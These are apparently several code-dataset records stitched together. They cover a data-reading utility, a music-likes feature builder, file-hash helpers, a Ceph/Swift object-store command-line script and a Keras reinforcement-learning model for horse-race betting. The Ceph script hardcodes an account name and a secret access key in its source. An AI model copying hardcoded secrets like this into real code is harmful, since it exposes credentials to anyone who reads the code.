test_data[c]['y'] = np.array(test_data[c]['y'], dtype=np.uint8)\n test_size += test_data[c]['y'].shape[0]\n \n # Print the size of this dataset and client count\n print(f'The dataset size: {train_size + test_size}, train size: {train_size}, test size: {test_size}.')\n print(f'The train client count: {len(train_data)}. The test client count: {len(test_data)}.')\n return clients, train_data, test_data", "sub_path": "utils/read_data.py", "file_name": "read_data.py", "file_ext": "py", "file_size_in_byte": 3875, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path.iterdir", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "name"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "pathlib.Path.iterdir", "line_number": 31, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 31, "usage_type": "name"}, {"api_name": "json.load", "line_number": 35, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 67, "usage_type": "call"}, {"api_name": "pathlib.Path.joinpath", "line_number": 69, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 69, "usage_type": "name"}, {"api_name": "pathlib.Path.joinpath", "line_number": 71, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 85, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 89, "usage_type": "attribute"}]} {"seq_id": "320622550", "text": "import pandas as pd\nimport json\nfrom collections import Counter\n\ndef json_readup(path):\n with open(path) as data_file: \n data = json.load(data_file)\n return data\n \ndef change_the_dict(dict_in):\n \n for key in dict_in.keys():\n dict_in[key] = set(dict_in[key])\n return dict_in\n\ndef dataset_integrator(input_data, artist_dict, flow_dict, chart_dict, track_dict, album_dict):\n \n user_ids = map(lambda s: str(s), input_data[\"user_id\"].tolist())\n artists = input_data[\"artist_id\"].tolist()\n tracks = input_data[\"media_id\"].tolist()\n albums = input_data[\"album_id\"].tolist()\n \n artists_unique = artist_dict.keys()\n tracks_unique = track_dict.keys()\n albums_unique = album_dict.keys()\n flows_unique = flow_dict.keys()\n charts_unique = chart_dict.keys()\n \n\n new_artist, artist_aggregates = [],[]\n new_flow, flow_aggregates = [],[]\n new_track, track_aggregates = [],[]\n new_chart, chart_aggregates = [], [] \n new_album, album_aggregates = [],[] \n \n index = 0\n \n for i in range(0, len(user_ids)):\n index = index + 1\n print(index)\n if index % 20000 == 0:\n\n output = pd.DataFrame()\n output[\"artist_liked\"] = new_artist\n output[\"artist_like_count\"] = artist_aggregates\n\n output[\"in_flow\"] = new_flow\n output[\"number_of_items_in_flow\"] = flow_aggregates\n\n output[\"track_liked\"] = new_track\n output[\"number_of_tracks_liked\"] = track_aggregates\n\n output[\"chart_liked\"] = new_chart\n output[\"number_of_charts_liked\"] = chart_aggregates\n\n output[\"album_liked\"] = new_album\n output[\"number_of_albums_liked\"] = album_aggregates\n \n output.to_csv(\"./raw_dataset/train_pieces/train_\" + str(index) + \".csv\",sep = \",\", index = None)\n \n new_artist, artist_aggregates = [],[]\n new_flow, flow_aggregates = [],[]\n new_track, track_aggregates = [],[]\n new_chart, chart_aggregates = [], [] \n new_album, album_aggregates = [],[] \n\n if user_ids[i] in artists_unique:\n if artists[i] in artist_dict[user_ids[i]]:\n new_artist = new_artist + [1]\n \n else:\n new_artist = new_artist + [0]\n artist_aggregates = artist_aggregates + [len(artist_dict[user_ids[i]])] \n else:\n new_artist = new_artist + [-1]\n artist_aggregates = artist_aggregates + [0] \n \n if user_ids[i] in flows_unique:\n if tracks[i] in flow_dict[user_ids[i]]:\n new_flow = new_flow + [1] \n else:\n new_flow = new_flow+ [0] \n flow_aggregates = flow_aggregates + [len(flow_dict[user_ids[i]])] \n else:\n new_flow = new_flow + [-1]\n flow_aggregates = flow_aggregates + [0]\n\n if user_ids[i] in tracks_unique:\n if tracks[i] in track_dict[user_ids[i]]:\n new_track = new_track + [1] \n else:\n new_track = new_track + [0] \n track_aggregates = track_aggregates + [len(track_dict[user_ids[i]])] \n else:\n new_track = new_track + [-1]\n track_aggregates = track_aggregates + [0]\n\n if user_ids[i] in charts_unique:\n if tracks[i] in chart_dict[user_ids[i]]:\n new_chart = new_chart + [1] \n else:\n new_chart = new_chart + [0] \n chart_aggregates = chart_aggregates + [len(chart_dict[user_ids[i]])] \n else:\n new_chart = new_chart + [-1]\n chart_aggregates = chart_aggregates + [0]\n\n if user_ids[i] in albums_unique:\n if albums[i] in album_dict[user_ids[i]]:\n new_album = new_album + [1] \n else:\n new_album = new_album + [0] \n album_aggregates = album_aggregates + [len(album_dict[user_ids[i]])] \n else:\n new_album = new_album + [-1]\n album_aggregates = album_aggregates + [0]\n\n output = pd.DataFrame()\n \n output[\"artist_liked\"] = new_artist\n output[\"artist_like_count\"] = artist_aggregates\n\n output[\"in_flow\"] = new_flow\n output[\"number_of_items_in_flow\"] = flow_aggregates\n\n output[\"track_liked\"] = new_track\n output[\"number_of_tracks_liked\"] = track_aggregates\n\n output[\"chart_liked\"] = new_chart\n output[\"number_of_charts_liked\"] = chart_aggregates\n\n output[\"album_liked\"] = new_album\n output[\"number_of_albums_liked\"] = album_aggregates\n return output, index\n \n\ndef run_this():\n \n test = pd.read_csv(\"./raw_dataset/test.csv\",index_col = None) \n train = pd.read_csv(\"./raw_dataset/train_deduplicated.csv\",index_col = None)\n\n artist_dict = json_readup(\"./large_dumps/user_artists.json\")\n flow_dict = json_readup(\"./large_dumps/user_flow.json\")\n chart_dict = json_readup(\"./large_dumps/user_charts.json\")\n track_dict = json_readup(\"./large_dumps/user_tracks.json\")\n album_dict = json_readup(\"./large_dumps/user_albums.json\")\n \n artist_dict = change_the_dict(artist_dict)\n flow_dict = change_the_dict(flow_dict)\n chart_dict = change_the_dict(chart_dict)\n track_dict = change_the_dict(track_dict)\n album_dict = change_the_dict(album_dict)\n \n new_test, test_index = dataset_integrator(test, artist_dict, flow_dict, chart_dict, track_dict, album_dict)\n new_train, train_index = dataset_integrator(train, artist_dict, flow_dict, chart_dict, track_dict, album_dict)\n\n new_test.to_csv(\"./raw_dataset/test_likes.csv\",sep = \",\", index = None)\n new_train.to_csv(\"./raw_dataset/train_pieces/train_\" + str(train_index) + \".csv\",sep = \",\", index = None)\n \nrun_this()\n", "sub_path": "2_B_large_jsons_integrated.py", "file_name": "2_B_large_jsons_integrated.py", "file_ext": "py", "file_size_in_byte": 5825, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 139, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 140, "usage_type": "call"}]} {"seq_id": "413269465", "text": "# # -*- coding: utf-8 -*-\n\nimport hashlib\nimport logging\n\n\ndef parse_keywords_files(file_path):\n \"\"\"Convert keyword files into lists, ignoring # commented lines.\"\"\"\n logger = logging.getLogger(__name__)\n logger.debug(\"Try to open keyword files\")\n keywords_list = []\n try:\n with open(file_path, 'r', encoding='utf-8') as f:\n logger.debug(\"Successfully opened %s\", file_path)\n for line in f:\n line = line.replace('\\n', '')\n if line and line[0] != '#':\n keywords_list.append(line.lower())\n except IOError:\n logger.warning(\n \"Unable to open keywords file at location %s\", file_path\n )\n keywords_list = []\n finally:\n return keywords_list\n\n\ndef get_file_hash(file_path):\n \"\"\"Return the md5 hash of a file.\"\"\"\n BLOCKSIZE = 65536\n hasher = hashlib.md5()\n with open(file_path, 'rb') as f:\n while True:\n buf = f.read(BLOCKSIZE)\n if not buf:\n break\n hasher.update(buf)\n return hasher.hexdigest()\n", "sub_path": "tools/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1093, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 31, "usage_type": "call"}]} {"seq_id": "612326645", "text": "r\"\"\"\nThis script interacts with ceph object store to \nsave/retrieve objects.\n\"\"\"\nimport swiftclient\nimport argparse\n'''\ncreate all the global variables required \nfor connecting to ceph object store\n'''\nuser = 'testuser:swift'\nkey = '6Fr3sKEAxUrbAmnHzcWH9FvoD3La7Xf30PcXQjAn'\nfile_name = 'hello.txt'\ncontainer_name = 'swift-container-1'\nconn = swiftclient.Connection(user=user,key=key,authurl='http://cephgw/auth',)\n\n\n'''\n---------------------------------------------\nCheck if the container already exits in the ceph object store\n-------------------------------------------\n'''\ndef container_exists(container_name):\n '''\n for container in conn.get_account()[1]:\n \tprint (container['name'])\n '''\n if any(container_name in s['name'] for s in conn.get_account()[1]):\n return True\n return False\n\n'''\n---------------------------------------------\nCreate container in ceph object store, \nif it does not exist already\n-------------------------------------------\n'''\ndef create_container():\n\tif(container_exists(container_name) == False) :\n\t\tprint('Container does not exist. Creating new container')\n\t\tconn.put_container(container_name)\n'''\n---------------------------------------------\nUpload objects to ceph object store\n-------------------------------------------\n'''\ndef upload_object(object_name):\n print('Request to add object : ' + object_name)\n create_container()\n with open(object_name, 'r') as infile:\n \tconn.put_object(container_name, object_name,\n contents= infile.read(),\n content_type='text/plain')\n print('successfully uploaded object to the container')\n\n'''\n---------------------------------------------\nGet objects from ceph object store\n-------------------------------------------\n'''\ndef get_contents():\n #print('Getting ['+ container_name + '] contents')\n create_container()\n for data in conn.get_container(container_name)[1]:\n \tprint ('{0}\\t{1}\\t{2}'.format(data['name'], data['bytes'],\n data['last_modified']))\n\n\n\t\n'''\n---------------------------------------------\ndownload objects from ceph object store\n-------------------------------------------\n'''\ndef download_object(src,dest):\n create_container()\n obj_tuple = conn.get_object(container_name, src)\n with open(dest, 'w') as dest_obj:\n \tdest_obj.write(obj_tuple[1])\n print('successfully downloaded object to the container')\n\n'''\n-----------------------------------------------------------------------------------\nDefine help with the menu \n-----------------------------------------------------------------------------------\n'''\ndef usage():\n print('-------------------------------------------------------------')\n print('Utility to upload / download objects from Ceph')\n print('-------------------------------------------------------------')\n print('cephop [operation] [srcobject] [destobj] [h]')\n print('''\n operation - view/upload/download\n srcobject - object to be uploaded/downloaded\n destobj - object to be saved on local filesystem\n ''')\n print(''' Examples\n To list all files in the container\n cephop view\n To upload an object\n cephop upload obj1\n To download an object\n cephop download srcobj destobj\n ''')\n print('-------------------------------------------------------------')\n\n'''\nUsing argparser to display args\n'''\ndef arg_usage():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-v\",\"--view\",help=\"view the files in the storage\",\n action='store_true')\n parser.add_argument(\"-u\",\"--upload\",help=\"upload the object to ceph\",\n nargs=1,type = str)\n parser.add_argument(\"-d\",\"--download\",help=\"download the object from ceph\",\n nargs=2)\n args = parser.parse_args()\n if args.view:\n get_contents()\n elif args.upload:\n file_name = args.upload[0]\n upload_object(file_name)\n elif args.download:\n src=args.download[0]\n dest=args.download[1]\n download_object(src,dest)\n else :\n print('Unknown option.Try -h')\n\n\n'''\n---------------------------------------------\nStart the operations in the ceph object store\n-------------------------------------------\n'''\ndef main():\n arg_usage()\n '''\n usage()\n upload_object(\"src.txt\")\n get_contents()\n download_object(\"src.txt\",\"dest.txt\")\n '''\nmain()\t\t\n\n\n", "sub_path": "cephop.py", "file_name": "cephop.py", "file_ext": "py", "file_size_in_byte": 4329, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "swiftclient.Connection", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 111, "usage_type": "call"}]} {"seq_id": "133876982", "text": "#-*- coding:utf-8 -*-\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import accuracy_score\nfrom skopt import BayesSearchCV\nfrom keras.models import Sequential,Model,load_model\nfrom keras.layers import Dense,Activation,Input,Dropout,Concatenate\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.core import Lambda\nfrom keras.wrappers.scikit_learn import KerasRegressor\nimport random\nimport keras.backend as K\nimport keras.optimizers\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport sqlite3, pickle\nimport dataset2, util, evaluate, feature\n\n\nUSE_CACHE = True\nLOOSE_VALUE = -100\nDONT_BUY_VALUE = -20.0\nREWARD_THREHOLD = -10\nEVALUATE_INTERVAL = 10\nMAX_ITERATION = 50000\nBATCH_SIZE = 36\nREFRESH_INTERVAL = 50 \nPREDICT_TYPE = \"win_payoff\"\n#PREDICT_TYPE = \"place_payoff\"\nMODEL_PATH = \"./models/dqn_model2.h5\"\nPREDICT_MODEL_PATH = \"./models/dqn_model2.h5\"\nMEAN_PATH = \"./models/dqn_mean.pickle\"\nSTD_PATH = \"./models/dqn_std.pickle\"\nCACHE_PATH = \"./cache/dueling_dqn\"\n\ndef main():\n #predict_type = \"place_payoff\"\n predict_type = PREDICT_TYPE\n config = util.get_config(\"config/config.json\")\n db_path = \"db/output_v7.db\"\n\n db_con = sqlite3.connect(db_path)\n if USE_CACHE:\n print(\"[*] load dataset from cache\")\n datasets = dataset2.load_cache(CACHE_PATH)\n else:\n datasets = generate_dataset(predict_type,db_con,config)\n dnn(config.features_light,datasets)\n\ndef predict(db_con,config):\n add_col = [\"info_horse_name\"]\n features = config.features_light+add_col\n raw_x = dataset2.load_x(db_con,features)\n col_dic = dataset2.nominal_columns(db_con)\n nom_col = dataset2.dummy_column(raw_x,col_dic)\n raw_x = dataset2.get_dummies(raw_x,col_dic)\n\n target_columns = []\n remove = [\"info_race_id\",\"info_horse_name\",\"info_race_name\"]\n for col in raw_x.columns:\n if col not in remove:\n target_columns.append(col)\n target_columns = sorted(target_columns)\n\n x = dataset2.fillna_mean(raw_x,\"horse\")\n mean = load_value(MEAN_PATH)\n std = load_value(STD_PATH)\n x = dataset2.normalize(x,mean = mean,std = std,remove = nom_col+add_col)\n x = dataset2.pad_race_x(x)\n x = dataset2.to_race_panel(x)[0]\n\n inputs = x.loc[:,:,target_columns]\n model = load_model(PREDICT_MODEL_PATH)\n actions = []\n for i in range(len(inputs)):\n rx = x.iloc[i,:,:]\n ri = inputs.iloc[i,:,:]\n\n a = get_action(model,ri.as_matrix(),is_predict = True)\n a = pd.DataFrame(a,columns = [\"dont_buy\",\"buy\"])\n rx = pd.concat([rx,a],axis = 1)\n print(rx.loc[:,[\"info_horse_name\",\"buy\"]])\n print(\"\")\n if i > 12:\n break\n actions = pd.Panel(actions)\n\n print(actions)\n\ndef generate_dataset(predict_type,db_con,config):\n print(\"[*] preprocessing step\")\n print(\">> loading dataset\")\n features = config.features_light\n x,y = dataset2.load_dataset(db_con,features,[\"is_win\",\"win_payoff\",\"is_place\",\"place_payoff\"])\n col_dic = dataset2.nominal_columns(db_con)\n nom_col = dataset2.dummy_column(x,col_dic)\n x = dataset2.get_dummies(x,col_dic)\n features = sorted(x.columns.drop(\"info_race_id\").values.tolist())\n\n print(\">> separating dataset\")\n train_x,test_x,train_y,test_y = dataset2.split_with_race(x,y,test_nums = 1000)\n del x\n del y\n\n print(\">> filling none value of train dataset\")\n train_x = dataset2.fillna_mean(train_x,\"horse\")\n mean = train_x.mean(numeric_only = True)\n std = train_x.std(numeric_only = True).clip(lower = 1e-4)\n save_value(mean,MEAN_PATH)\n save_value(std,STD_PATH)\n train_x = dataset2.normalize(train_x,mean = mean,std = std,remove = nom_col)\n\n print(\">> converting train dataset to race panel\")\n train_x = dataset2.downcast(train_x)\n train_y = dataset2.downcast(train_y)\n train_x,train_y = dataset2.pad_race(train_x,train_y)\n train_y[\"win_payoff\"] = train_y[\"win_payoff\"] + LOOSE_VALUE\n train_y[\"place_payoff\"] = train_y[\"place_payoff\"] + LOOSE_VALUE\n train_y[\"dont_buy\"] = pd.DataFrame(np.zeros(len(train_y.index))+DONT_BUY_VALUE,dtype = np.float32)\n train_y[\"is_win\"] = train_y[\"win_payoff\"].clip(lower = 0,upper = 1)\n train_y[\"is_place\"] = train_y[\"place_payoff\"].clip(lower = 0,upper = 1)\n\n train_x,train_y = dataset2.to_race_panel(train_x,train_y)\n train_x = train_x.loc[:,:,features]\n train_y = train_y.loc[:,:,[\"dont_buy\",\"place_payoff\",\"win_payoff\",\"is_win\",\"is_place\"]]\n\n print(\">> filling none value of test dataset\")\n test_x = dataset2.fillna_mean(test_x,\"horse\")\n test_x = dataset2.normalize(test_x,mean = mean,std = std,remove = nom_col)\n\n print(\">> converting test dataset to race panel\")\n test_x,test_y = dataset2.pad_race(test_x,test_y)\n test_y[\"win_payoff\"] = test_y[\"win_payoff\"] + LOOSE_VALUE\n test_y[\"place_payoff\"] = test_y[\"place_payoff\"] + LOOSE_VALUE\n test_y[\"dont_buy\"] = np.zeros(len(test_y.index),dtype = np.float32)+DONT_BUY_VALUE\n test_y[\"is_win\"] = test_y[\"win_payoff\"].clip(lower = 0,upper = 1)\n test_y[\"is_place\"] = test_y[\"place_payoff\"].clip(lower = 0,upper = 1)\n\n test_x,test_y = dataset2.to_race_panel(test_x,test_y)\n test_x = test_x.loc[:,:,features]\n test_y = test_y.loc[:,:,[\"dont_buy\",\"place_payoff\",\"win_payoff\",\"is_win\",\"is_place\"]]\n\n datasets = {\n \"train_x\" : train_x,\n \"train_y\" : train_y,\n \"test_x\" : test_x,\n \"test_y\" : test_y,\n }\n dataset2.save_cache(datasets,CACHE_PATH)\n return datasets\n\ndef dnn(features,datasets):\n print(\"[*] training step\")\n target_y = \"is_win\"\n train_x = datasets[\"train_x\"]\n train_y = datasets[\"train_y\"].loc[:,:,[target_y]]\n train_action = datasets[\"train_y\"].loc[:,:,[\"dont_buy\",PREDICT_TYPE]]\n #train_action.loc[:,:,\"dont_buy\"] = -10\n\n test_x = datasets[\"test_x\"]\n test_y = datasets[\"test_y\"].loc[:,:,target_y]\n test_action = datasets[\"test_y\"].loc[:,:,[\"dont_buy\",PREDICT_TYPE]]\n\n\n model = create_model()\n old_model = keras.models.clone_model(model)\n\n #main_loop\n batch_size = BATCH_SIZE\n gene = dataset_generator(batch_size,train_x,train_y,train_action)\n max_iteration = MAX_ITERATION\n\n for count in range(max_iteration):\n raw_x,raw_y,raw_reward = next(gene)\n x_ls = []\n y_ls = []\n a_ls = []\n prob_threhold = max(float(100 - count),10.0)/1000\n rob_threhold = 0.0\n for i in range(len(raw_x)):\n rx = raw_x.ix[i]\n ry = raw_y.ix[i]\n ra = raw_reward.ix[i]\n\n idx = np.random.randint(18)\n new_x = rx.ix[idx]\n new_y = ry.ix[idx]\n new_a = ra.ix[idx]\n #reward = get_q_value(old_model,others(rx,idx),others(ra,idx),action_threhold = prob_threhold)\n reward = get_reward(model,others(rx,idx),others(ra,idx),action_threhold = prob_threhold)\n new_a += reward\n new_a = clip(new_a)\n x_ls.append(new_x)\n y_ls.append(new_y)\n a_ls.append(new_a)\n x = np.array(x_ls)\n y = np.array(y_ls)\n a = np.array(a_ls)\n hist = model.fit(x,[a,y],verbose = 0,epochs = 1)\n if count % EVALUATE_INTERVAL == 0:\n evaluate(count,model,test_x,test_action)\n print(hist.history[\"loss\"][0])\n print(\"\")\n save_model(model,MODEL_PATH)\n if count % REFRESH_INTERVAL == 0:\n old_model = keras.models.clone_model(model)\n\ndef create_model(activation = \"relu\",dropout = 0.6,hidden_1 = 120,hidden_2 = 120,hidden_3 = 120):\n inputs_size = 134\n actions_size = 2\n\n inputs = Input(shape = (inputs_size,))\n x = inputs\n\n x = Dense(units = hidden_1)(x)\n x = Activation(activation)(x)\n x = BatchNormalization()(x)\n x = Dropout(dropout)(x)\n\n x = Dense(units = hidden_2)(x)\n x = Activation(activation)(x)\n x = BatchNormalization()(x)\n x = Dropout(dropout)(x)\n\n x = Dense(units = hidden_3)(x)\n x = Activation(activation)(x)\n x = BatchNormalization()(x)\n x = Dropout(dropout)(x)\n\n \n is_win = Dense(units = 1)(x)\n is_win = Activation(\"sigmoid\")(is_win)\n\n pi = Dense(units = 8)(x)\n pi = Activation(activation)(pi)\n pi = BatchNormalization()(pi)\n pi = Concatenate()([pi,is_win])\n pi = Dense(units = actions_size)(pi)\n pi = Activation(\"softmax\")(pi)\n\n # For Dueling\n #x = Dense(units = actions_size + 1)(x)\n #x = Lambda(lambda a:K.expand_dims(a[:,0],axis=-1) + a[:,1:],output_shape = (actions_size,))(x)\n\n model = Model(inputs = inputs,outputs = [pi,is_win])\n opt = keras.optimizers.Adam(lr=0.001)\n #model.compile(loss = [huber_loss,\"binary_crossentropy\"],optimizer=opt,metrics=[\"accuracy\"])\n model.compile(loss = [\"categorical_crossentropy\",\"binary_crossentropy\"],optimizer=opt,metrics=[\"accuracy\"])\n return model\n\ndef evaluate(step,model,x,y):\n total_reward = 0\n total_buy = 0\n total_hit = 0\n for i in range(len(x)):\n rx = x.iloc[i]\n ry = y.iloc[i]\n is_win = ry.iloc[:,1].clip(lower = 0.0,upper = 1.0)\n buy = get_action(model,rx.as_matrix(),is_predict = True)[:,1]\n buy_num = buy.sum()\n is_hit = 1 if np.dot(is_win,buy) > 0 else 0\n reward = get_reward(model,rx,ry,is_predict = True)\n total_reward += reward\n total_buy += buy_num\n total_hit += is_hit\n avg_reward = total_reward/float(len(x))\n avg_buy = total_buy/float(len(x))\n avg_hit = total_hit/float(len(x))\n print(\"Step: {0}\".format(step))\n print(\"Profit: {0} yen/race\".format(avg_reward))\n print(\"Hit: {0} tickets/race\".format(avg_hit))\n print(\"Buy : {0} tickets/race\".format(avg_buy))\n\ndef dataset_generator(batch_size,*datasets):\n columns = []\n for d in datasets:\n columns.append(d.axes[2].tolist())\n con = pd.concat(datasets,axis = 2)\n _,i = np.unique(con.axes[2],return_index = True)\n con = con.iloc[:,:,i]\n\n while True:\n sample = con.sample(n = batch_size,axis = 0)\n ret = []\n for i,_ in enumerate(datasets):\n ret.append(sample.loc[:,:,columns[i]])\n yield ret\n\n\ndef get_q_value(model,x,y,is_predict = False,action_threhold = 0.01):\n x = x.as_matrix()\n y = y.as_matrix()\n \n pred,_ = model.predict(x)\n idx = pred.argmax(1)\n if not is_predict:\n for i in range(len(idx)):\n prob = np.random.rand()\n if prob < action_threhold:\n idx[i] = np.random.randint(2)\n pred = pred[idx]\n return np.sum(pred)\n\n\ndef get_reward(model,x,y,is_predict = False,action_threhold = 0.01):\n x = x.as_matrix()\n y = y.as_matrix()\n action = get_action(model,x,is_predict = is_predict,threhold = action_threhold)\n rewards = (y*action).sum()\n return rewards\n\ndef get_action(model,x,is_predict = False,threhold = 0.01):\n pred,_ = model.predict(x)\n action = pred.argmax(1)\n if not is_predict:\n for i in range(len(action)):\n prob = np.random.rand()\n if prob < threhold:\n action[i] = np.random.randint(2)\n action = np.eye(2)[action]\n return action\n\ndef clip(y):\n y = y/100.0\n #y = y/100.0\n y[y<=REWARD_THREHOLD] = 0\n y[y>REWARD_THREHOLD] = 1\n #y = y.clip(lower = -5.0,upper = 5.0)\n #y = y.clip(upper = 5.0)\n return y\n\ndef others(df,idx):\n df = df[~df.index.isin([idx])]\n return df\n\ndef save_model(model,path):\n print(\"Save model\")\n model.save(path)\n\ndef save_value(v,path):\n with open(path,\"wb\") as fp:\n pickle.dump(v,fp)\n\ndef load_value(path):\n with open(path,\"rb\") as fp:\n v = pickle.load(fp)\n return v\n raise Exception (\"File does not exist\")\n\ndef huber_loss(y_true,y_pred):\n clip_value = 1.0\n x = y_true - y_pred\n condition = K.abs(x) < clip_value\n squared_loss = K.square(x)\n linear_loss = clip_value * (K.abs(x) -0.5*clip_value)\n return tf.where(condition,squared_loss,linear_loss)\n\nif __name__==\"__main__\":\n main()\n", "sub_path": "trash/dueling_dqn.py", "file_name": "dueling_dqn.py", "file_ext": "py", "file_size_in_byte": 12073, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "util.get_config", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "dataset2.load_cache", "line_number": 48, "usage_type": "call"}, {"api_name": "dataset2.load_x", "line_number": 56, "usage_type": "call"}, {"api_name": "dataset2.nominal_columns", "line_number": 57, "usage_type": "call"}, {"api_name": "dataset2.dummy_column", "line_number": 58, "usage_type": "call"}, {"api_name": "dataset2.get_dummies", "line_number": 59, "usage_type": "call"}, {"api_name": "dataset2.fillna_mean", "line_number": 68, "usage_type": "call"}, {"api_name": "dataset2.normalize", "line_number": 71, "usage_type": "call"}, {"api_name": "dataset2.pad_race_x", "line_number": 72, "usage_type": "call"}, {"api_name": "dataset2.to_race_panel", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.Panel", "line_number": 89, "usage_type": "call"}, {"api_name": "dataset2.load_dataset", "line_number": 97, "usage_type": "call"}, {"api_name": "dataset2.nominal_columns", "line_number": 98, "usage_type": "call"}, {"api_name": "dataset2.dummy_column", "line_number": 99, "usage_type": "call"}, {"api_name": "dataset2.get_dummies", "line_number": 100, "usage_type": "call"}, {"api_name": "dataset2.split_with_race", "line_number": 104, "usage_type": "call"}, {"api_name": "dataset2.fillna_mean", "line_number": 109, "usage_type": "call"}, {"api_name": "dataset2.normalize", "line_number": 114, "usage_type": "call"}, {"api_name": "dataset2.downcast", "line_number": 117, "usage_type": "call"}, {"api_name": "dataset2.downcast", "line_number": 118, "usage_type": "call"}, {"api_name": "dataset2.pad_race", "line_number": 119, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 122, "usage_type": "attribute"}, {"api_name": "dataset2.to_race_panel", "line_number": 126, "usage_type": "call"}, {"api_name": "dataset2.fillna_mean", "line_number": 131, "usage_type": "call"}, {"api_name": "dataset2.normalize", "line_number": 132, "usage_type": "call"}, {"api_name": "dataset2.pad_race", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 138, "usage_type": "attribute"}, {"api_name": "dataset2.to_race_panel", "line_number": 142, "usage_type": "call"}, {"api_name": "dataset2.save_cache", "line_number": 152, "usage_type": "call"}, {"api_name": "keras.models.models.clone_model", "line_number": 169, "usage_type": "call"}, {"api_name": "keras.models.models", "line_number": 169, "usage_type": "attribute"}, {"api_name": "keras.models", "line_number": 169, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "keras.models.models.clone_model", "line_number": 209, "usage_type": "call"}, {"api_name": "keras.models.models", "line_number": 209, "usage_type": "attribute"}, {"api_name": "keras.models", "line_number": 209, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 215, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 218, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 219, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 220, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 221, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 223, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 224, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 225, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 226, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 228, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 229, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 230, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 231, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 234, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 235, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 237, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 238, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 239, "usage_type": "call"}, {"api_name": "keras.layers.Concatenate", "line_number": 240, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 241, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 242, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 248, "usage_type": "call"}, {"api_name": "keras.models.optimizers.Adam", "line_number": 249, "usage_type": "call"}, {"api_name": "keras.models.optimizers", "line_number": 249, "usage_type": "attribute"}, {"api_name": "keras.models", "line_number": 249, "usage_type": "name"}, {"api_name": "numpy.dot", "line_number": 264, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.unique", 